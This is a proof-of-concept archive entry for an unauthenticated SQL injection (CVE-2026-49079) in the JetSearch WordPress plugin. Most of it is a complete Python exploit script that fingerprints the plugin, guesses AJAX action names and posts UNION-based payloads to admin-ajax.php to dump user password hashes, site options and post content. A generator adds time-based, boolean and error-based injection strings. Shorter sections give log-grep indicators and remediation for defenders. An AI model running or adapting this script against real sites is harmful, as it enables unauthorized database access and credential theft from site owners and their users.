PoC Archive PoC Archive
High CVE-2026-49079 unpatched

JetSearch WordPress Plugin Unauthenticated SQL Injection (CVE-2026-49079)

by izxci · 2026-07-05

CVSS 7.5/10
Severity
High
CVE
CVE-2026-49079
Category
web
Affected product
JetSearch plugin for WordPress
Affected versions
Up to and including 3.5.17
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-07
Author / Researcherizxci
CVE / AdvisoryCVE-2026-49079
Categoryweb
SeverityHigh
CVSS Score7.5 (per script docstring; not independently corroborated in-repo)
StatusPoC
Tagswordpress, jetsearch, sql-injection, cwe-89, unauthenticated, ajax, union-based, blind-sqli
RelatedN/A

Affected Target

FieldValue
Software / SystemJetSearch plugin for WordPress
Versions AffectedUp to and including 3.5.17
Language / PlatformPHP / WordPress; PoC written in Python 3 (requests, beautifulsoup4)
Authentication RequiredNo
Network Access RequiredYes

Summary

JetSearch’s AJAX handlers (invoked via WordPress’s admin-ajax.php) fail to properly escape/parameterize user-supplied search parameters, allowing an unauthenticated attacker to perform SQL injection against the underlying WordPress database. The PoC (CVE-2026-49079.py) attempts to fingerprint the plugin and its version, discovers candidate AJAX action names (from page source or a built-in default list), and then submits crafted search_term payloads to wp-admin/admin-ajax.php to confirm injection and extract data via UNION-based queries — targeting wp_users credentials, wp_options, and wp_posts content, plus offering standalone time-based, boolean-based, and error-based payload generators.


Vulnerability Details

Root Cause

JetSearch’s AJAX search handler(s) build SQL queries using unescaped, user-supplied input (the search_term/s POST parameter) rather than prepared statements or $wpdb->prepare(), allowing an attacker to break out of the intended query context and inject arbitrary SQL (CWE-89).

Attack Vector

  1. Attacker identifies a WordPress site with the JetSearch plugin installed (version <= 3.5.17) by probing known plugin file paths and readme.txt.
  2. Attacker discovers the plugin’s registered AJAX action name(s), either by scraping the page source for action-parameter patterns or falling back to a list of common candidate names.
  3. Attacker sends a boolean-based test payload (e.g. 1' OR '1'='1) as search_term to wp-admin/admin-ajax.php with the discovered action to confirm the endpoint is reachable and processes the injected quote.
  4. Attacker sends UNION-based payloads (e.g. 1' UNION SELECT user_login,user_pass,user_email,display_name,ID FROM wp_users -- ) to exfiltrate WordPress user credentials, site options, or post content directly in the AJAX response.

Impact

An unauthenticated remote attacker can extract sensitive data from the WordPress database, including user credentials (wp_users), site configuration/secrets stored in wp_options, and private post/page content, without needing to authenticate.


Environment / Lab Setup

Target:   WordPress site with JetSearch plugin <= 3.5.17 installed and its AJAX search action reachable
Attacker: Python 3 with `requests` and `beautifulsoup4`, network access to /wp-admin/admin-ajax.php

Proof of Concept

PoC Script

See CVE-2026-49079.py in this folder.

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python3 CVE-2026-49079.py https://target.com --detect

python3 CVE-2026-49079.py https://target.com --check

python3 CVE-2026-49079.py https://target.com --find-actions

python3 CVE-2026-49079.py https://target.com --payloads

python3 CVE-2026-49079.py https://target.com -v

Run without flags, the script executes the full chain: it detects the plugin, verifies the version is vulnerable, discovers or guesses the AJAX action name, confirms basic SQL injection, then issues UNION-based payloads against the discovered action to dump database version/user, WordPress user credentials, site options, and post content, printing excerpts of each response.


Detection & Indicators of Compromise

grep -E "admin-ajax\.php" /var/log/apache2/access.log | grep -iE "union select|sleep\(|benchmark\(|' or '1'='1"

Signs of compromise:

  • POST requests to wp-admin/admin-ajax.php with a search_term (or s) parameter containing UNION SELECT, SLEEP(, BENCHMARK(, extractvalue(, or updatexml(
  • Unexpected database query errors or delays correlated with search/AJAX requests
  • Requests probing multiple JetSearch-related plugin paths (/wp-content/plugins/jetsearch/, /jet-search/, etc.) immediately prior to injection attempts

Remediation

ActionDetail
Primary fixUpdate JetSearch to a patched version beyond 3.5.17 (or the vendor’s current release) that parameterizes all AJAX search queries via $wpdb->prepare()
Interim mitigationDeploy WAF rules blocking SQLi patterns in admin-ajax.php POST bodies; disable/deactivate the JetSearch plugin until patched

References


Notes

Mirrored from https://github.com/izxci/CVE-2026-49079 on 2026-07-05.

CVE-2026-49079.py
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#!/usr/bin/env python3
"""
CVE-2026-49079 JetSearch SQL Injection Exploit
CVSS: 7.5 (High)

Unauthenticated SQL injection in JetSearch plugin for WordPress versions
up to and including 3.5.17. The plugin fails to properly escape user-supplied
parameters in AJAX handlers, allowing attackers to extract sensitive database
information without authentication.

Legal Notice: Educational and authorized testing only.
"""

import requests
import re
import sys
import argparse
import time
import json
import urllib.parse
from urllib.parse import urljoin, quote
from bs4 import BeautifulSoup

class JetSearchSQLiExploit:
    def __init__(self, target_url, verbose=False):
        self.target_url = target_url.rstrip('/')
        self.verbose = verbose
        self.session = requests.Session()
        self.session.headers.update({
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
        })
        self.plugin_detected = False
        self.vulnerable_version = False
        self.ajax_actions = []

    def log(self, message, level="INFO"):
        """Log messages based on verbosity"""
        if self.verbose or level in ["ERROR", "SUCCESS", "CRITICAL"]:
            print(f"[{level}] {message}")

    def detect_plugin(self):
        """Detect if JetSearch plugin is installed"""
        self.log("Detecting JetSearch plugin...")
        
        try:
            # Check common plugin paths
            plugin_paths = [
                '/wp-content/plugins/jetsearch/',
                '/wp-content/plugins/jet-search/',
                '/wp-content/plugins/jetpack-search/',
                '/wp-content/plugins/search-jetsearch/'
            ]
            
            for path in plugin_paths:
                url = urljoin(self.target_url, path + 'jetsearch.php')
                resp = self.session.head(url, timeout=10)
                
                if resp.status_code == 200:
                    self.log(f"Plugin detected at: {path}", "SUCCESS")
                    self.plugin_detected = True
                    return True
            
            # Try to detect via readme.txt
            for path in plugin_paths:
                url = urljoin(self.target_url, path + 'readme.txt')
                resp = self.session.get(url, timeout=10)
                
                if resp.status_code == 200 and 'jetsearch' in resp.text.lower():
                    self.log(f"Plugin detected at: {path}", "SUCCESS")
                    self.plugin_detected = True
                    return True
            
            self.log("Plugin not detected via direct paths", "ERROR")
            return False
        
        except Exception as e:
            self.log(f"Error detecting plugin: {e}")
            return False

    def check_vulnerability(self):
        """Check if target is vulnerable"""
        self.log("Checking vulnerability status...")
        
        try:
            # Try to access the plugin's main file
            plugin_file = urljoin(self.target_url, '/wp-content/plugins/jetsearch/jetsearch.php')
            resp = self.session.get(plugin_file, timeout=10)
            
            if resp.status_code == 200:
                # Check version
                version_match = re.search(r'Version:\s*([0-9.]+)', resp.text)
                if version_match:
                    version = version_match.group(1)
                    self.log(f"Plugin version: {version}", "INFO")
                    
                    # Check if vulnerable (<=3.5.17)
                    version_parts = version.split('.')
                    if len(version_parts) >= 3:
                        try:
                            major = int(version_parts[0])
                            minor = int(version_parts[1])
                            patch = int(version_parts[2])
                            
                            if major < 3 or (major == 3 and minor < 5) or (major == 3 and minor == 5 and patch <= 17):
                                self.log(f"Version {version} is VULNERABLE!", "CRITICAL")
                                self.vulnerable_version = True
                                return True
                            else:
                                self.log(f"Version {version} appears patched", "ERROR")
                                return False
                        except ValueError:
                            pass
            
            self.log("Could not determine vulnerability status", "ERROR")
            return False
        
        except Exception as e:
            self.log(f"Error checking vulnerability: {e}")
            return False

    def find_ajax_actions(self):
        """Find AJAX action names used by the plugin"""
        self.log("Searching for AJAX actions...")
        
        try:
            # Get homepage to find AJAX actions
            resp = self.session.get(self.target_url, timeout=10)
            
            # Look for action patterns
            action_patterns = [
                r'action["\']?\s*[=:]\s*["\']([a-z_]*jet[a-z_]*search[a-z_]*)["\']',
                r'jet_ajax_search',
                r'jet_search',
                r'jetsearch_ajax'
            ]
            
            actions = []
            for pattern in action_patterns:
                matches = re.findall(pattern, resp.text, re.IGNORECASE)
                actions.extend(matches)
            
            if actions:
                self.ajax_actions = list(set(actions))
                self.log(f"Found {len(self.ajax_actions)} AJAX actions", "SUCCESS")
                return self.ajax_actions
            
            # Default actions to try
            default_actions = [
                'jet_ajax_search',
                'jet_search_ajax',
                'jetsearch_ajax',
                'jetsearch_search',
                'jet_search'
            ]
            
            self.ajax_actions = default_actions
            self.log(f"Using default AJAX actions", "INFO")
            return default_actions
        
        except Exception as e:
            self.log(f"Error finding AJAX actions: {e}")
            return []

    def test_basic_injection(self, action):
        """Test if basic SQL injection is possible"""
        self.log(f"Testing basic SQL injection with action: {action}...")
        
        try:
            ajax_url = urljoin(self.target_url, '/wp-admin/admin-ajax.php')
            
            # Test payload
            test_payload = "1' OR '1'='1"
            
            data = {
                'action': action,
                'search_term': test_payload,
                's': test_payload
            }
            
            resp = self.session.post(ajax_url, data=data, timeout=15)
            
            self.log(f"Response Status: {resp.status_code}", "INFO")
            
            if resp.status_code == 200:
                self.log("Basic injection test successful!", "SUCCESS")
                return True
            else:
                self.log("Basic injection test failed", "ERROR")
                return False
        
        except Exception as e:
            self.log(f"Error testing basic injection: {e}", "ERROR")
            return False

    def extract_database_info(self, action):
        """Extract database information via UNION-based SQL injection"""
        self.log("Attempting to extract database information...")
        
        try:
            ajax_url = urljoin(self.target_url, '/wp-admin/admin-ajax.php')
            
            # Payload to extract database version
            payload = "1' UNION SELECT @@version,user(),database(),4,5 -- "
            
            data = {
                'action': action,
                'search_term': payload
            }
            
            resp = self.session.post(ajax_url, data=data, timeout=15)
            
            if resp.status_code == 200:
                self.log("Database info extraction successful!", "SUCCESS")
                self.log(f"Response: {resp.text[:500]}", "INFO")
                return resp.text
            else:
                self.log("Database info extraction failed", "ERROR")
                return None
        
        except Exception as e:
            self.log(f"Error extracting database info: {e}", "ERROR")
            return None

    def extract_wordpress_users(self, action):
        """Extract WordPress user credentials"""
        self.log("Attempting to extract WordPress users...")
        
        try:
            ajax_url = urljoin(self.target_url, '/wp-admin/admin-ajax.php')
            
            # Payload to extract user credentials
            payload = "1' UNION SELECT user_login,user_pass,user_email,display_name,ID FROM wp_users -- "
            
            data = {
                'action': action,
                'search_term': payload
            }
            
            resp = self.session.post(ajax_url, data=data, timeout=15)
            
            if resp.status_code == 200:
                self.log("User extraction successful!", "SUCCESS")
                self.log(f"Response: {resp.text[:500]}", "INFO")
                return resp.text
            else:
                self.log("User extraction failed", "ERROR")
                return None
        
        except Exception as e:
            self.log(f"Error extracting users: {e}", "ERROR")
            return None

    def extract_wordpress_options(self, action):
        """Extract WordPress options (site URL, admin email, etc.)"""
        self.log("Attempting to extract WordPress options...")
        
        try:
            ajax_url = urljoin(self.target_url, '/wp-admin/admin-ajax.php')
            
            # Payload to extract WordPress options
            payload = "1' UNION SELECT option_name,option_value,3,4,5 FROM wp_options LIMIT 10 -- "
            
            data = {
                'action': action,
                'search_term': payload
            }
            
            resp = self.session.post(ajax_url, data=data, timeout=15)
            
            if resp.status_code == 200:
                self.log("Options extraction successful!", "SUCCESS")
                self.log(f"Response: {resp.text[:500]}", "INFO")
                return resp.text
            else:
                self.log("Options extraction failed", "ERROR")
                return None
        
        except Exception as e:
            self.log(f"Error extracting options: {e}", "ERROR")
            return None

    def extract_posts(self, action):
        """Extract WordPress posts and pages"""
        self.log("Attempting to extract WordPress posts...")
        
        try:
            ajax_url = urljoin(self.target_url, '/wp-admin/admin-ajax.php')
            
            # Payload to extract posts
            payload = "1' UNION SELECT post_title,post_content,post_author,post_type,ID FROM wp_posts LIMIT 10 -- "
            
            data = {
                'action': action,
                'search_term': payload
            }
            
            resp = self.session.post(ajax_url, data=data, timeout=15)
            
            if resp.status_code == 200:
                self.log("Posts extraction successful!", "SUCCESS")
                self.log(f"Response: {resp.text[:500]}", "INFO")
                return resp.text
            else:
                self.log("Posts extraction failed", "ERROR")
                return None
        
        except Exception as e:
            self.log(f"Error extracting posts: {e}", "ERROR")
            return None

    def exploit(self):
        """Execute full exploit chain"""
        
        print("\n" + "="*70)
        print("CVE-2026-49079 JetSearch SQL Injection")
        print("="*70 + "\n")
        
        # Step 1: Detect plugin
        if not self.detect_plugin():
            self.log("Plugin not detected. Exploit may not be applicable.", "ERROR")
            return False
        
        # Step 2: Check vulnerability
        if not self.check_vulnerability():
            self.log("Target does not appear to be vulnerable", "ERROR")
            return False
        
        # Step 3: Find AJAX actions
        actions = self.find_ajax_actions()
        if not actions:
            self.log("Could not find AJAX actions", "ERROR")
            return False
        
        # Step 4: Test basic injection
        success = False
        vulnerable_action = None
        
        for action in actions:
            if self.test_basic_injection(action):
                success = True
                vulnerable_action = action
                break
        
        if not success:
            self.log("SQL injection test failed for all actions", "ERROR")
            return False
        
        # Step 5: Extract sensitive data
        print("\n" + "="*70)
        print("EXPLOITATION SUCCESSFUL")
        print("="*70)
        print(f"Target: {self.target_url}")
        print(f"Plugin: JetSearch")
        print(f"Vulnerable Action: {vulnerable_action}")
        print(f"\nExtracting sensitive data...\n")
        
        # Extract database info
        db_info = self.extract_database_info(vulnerable_action)
        
        # Extract users
        users = self.extract_wordpress_users(vulnerable_action)
        
        # Extract options
        options = self.extract_wordpress_options(vulnerable_action)
        
        # Extract posts
        posts = self.extract_posts(vulnerable_action)
        
        print("="*70)
        print("EXPLOITATION COMPLETE")
        print("="*70 + "\n")
        
        return True


class SQLiPayloadGenerator:
    """Generate various SQL injection payloads"""
    
    @staticmethod
    def union_based_payloads():
        """Generate UNION-based SQL injection payloads"""
        payloads = [
            "1' UNION SELECT user_login,user_pass,user_email,display_name,ID FROM wp_users -- ",
            "1' UNION SELECT option_name,option_value,3,4,5 FROM wp_options -- ",
            "1' UNION SELECT post_title,post_content,post_author,post_type,ID FROM wp_posts -- ",
            "1' UNION SELECT @@version,user(),database(),4,5 -- ",
            "1' UNION SELECT table_name,2,3,4,5 FROM information_schema.tables -- ",
            "1' UNION SELECT column_name,2,3,4,5 FROM information_schema.columns WHERE table_name='wp_users' -- ",
        ]
        return payloads
    
    @staticmethod
    def time_based_payloads():
        """Generate time-based blind SQL injection payloads"""
        payloads = [
            "1' AND SLEEP(5) -- ",
            "1' AND IF(1=1,SLEEP(5),0) -- ",
            "1' AND (SELECT * FROM (SELECT(SLEEP(5)))a) -- ",
            "1' AND BENCHMARK(10000000,MD5('test')) -- ",
        ]
        return payloads
    
    @staticmethod
    def boolean_based_payloads():
        """Generate boolean-based blind SQL injection payloads"""
        payloads = [
            "1' AND '1'='1",
            "1' AND '1'='2",
            "1' OR '1'='1",
            "1' AND 1=1 -- ",
            "1' AND 1=2 -- ",
        ]
        return payloads
    
    @staticmethod
    def error_based_payloads():
        """Generate error-based SQL injection payloads"""
        payloads = [
            "1' AND extractvalue(1,concat(0x7e,(SELECT user()))) -- ",
            "1' AND updatexml(1,concat(0x7e,(SELECT user())),1) -- ",
            "1' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT(0x7e,(SELECT user()),0x7e,FLOOR(RAND()*2))x FROM information_schema.tables GROUP BY x)a) -- ",
        ]
        return payloads


class AjaxActionScanner:
    """Scan for AJAX actions"""
    
    def __init__(self, target_url, session):
        self.target_url = target_url.rstrip('/')
        self.session = session
    
    def scan_all_pages(self):
        """Scan all accessible pages for AJAX actions"""
        actions = []
        
        try:
            # Get homepage
            resp = self.session.get(self.target_url, timeout=10)
            
            # Extract all action parameters
            action_matches = re.findall(r'action["\']?\s*[=:]\s*["\']([a-z_]+)["\']', resp.text)
            actions.extend(action_matches)
            
            # Look for AJAX endpoints
            ajax_matches = re.findall(r'wp-admin/admin-ajax\.php\?action=([a-z_]+)', resp.text)
            actions.extend(ajax_matches)
        
        except:
            pass
        
        return list(set(actions))
    
    def test_action(self, action):
        """Test if an AJAX action is vulnerable to SQL injection"""
        try:
            ajax_url = urljoin(self.target_url, '/wp-admin/admin-ajax.php')
            
            data = {
                'action': action,
                'search_term': "1' OR '1'='1",
                's': "1' OR '1'='1"
            }
            
            resp = self.session.post(ajax_url, data=data, timeout=10)
            
            return resp.status_code == 200
        
        except:
            return False


def main():
    parser = argparse.ArgumentParser(
        description='CVE-2026-49079 JetSearch SQL Injection Exploit'
    )
    parser.add_argument('target', help='Target URL (e.g., https://example.com)')
    parser.add_argument('-v', '--verbose', action='store_true', help='Verbose output')
    parser.add_argument('--detect', action='store_true', help='Detect plugin only')
    parser.add_argument('--check', action='store_true', help='Check vulnerability only')
    parser.add_argument('--find-actions', action='store_true', help='Find AJAX actions only')
    parser.add_argument('--scan-actions', action='store_true', help='Scan and test all AJAX actions')
    parser.add_argument('--payloads', action='store_true', help='Show available payloads')
    parser.add_argument('--union', action='store_true', help='Use UNION-based payloads')
    parser.add_argument('--time-based', action='store_true', help='Use time-based blind payloads')
    parser.add_argument('--boolean-based', action='store_true', help='Use boolean-based blind payloads')
    parser.add_argument('--error-based', action='store_true', help='Use error-based payloads')
    
    args = parser.parse_args()
    
    # Create exploit instance
    exploit = JetSearchSQLiExploit(args.target, verbose=args.verbose)
    
    # Detect only
    if args.detect:
        if exploit.detect_plugin():
            print("[+] Plugin detected!")
        else:
            print("[-] Plugin not detected")
        sys.exit(0)
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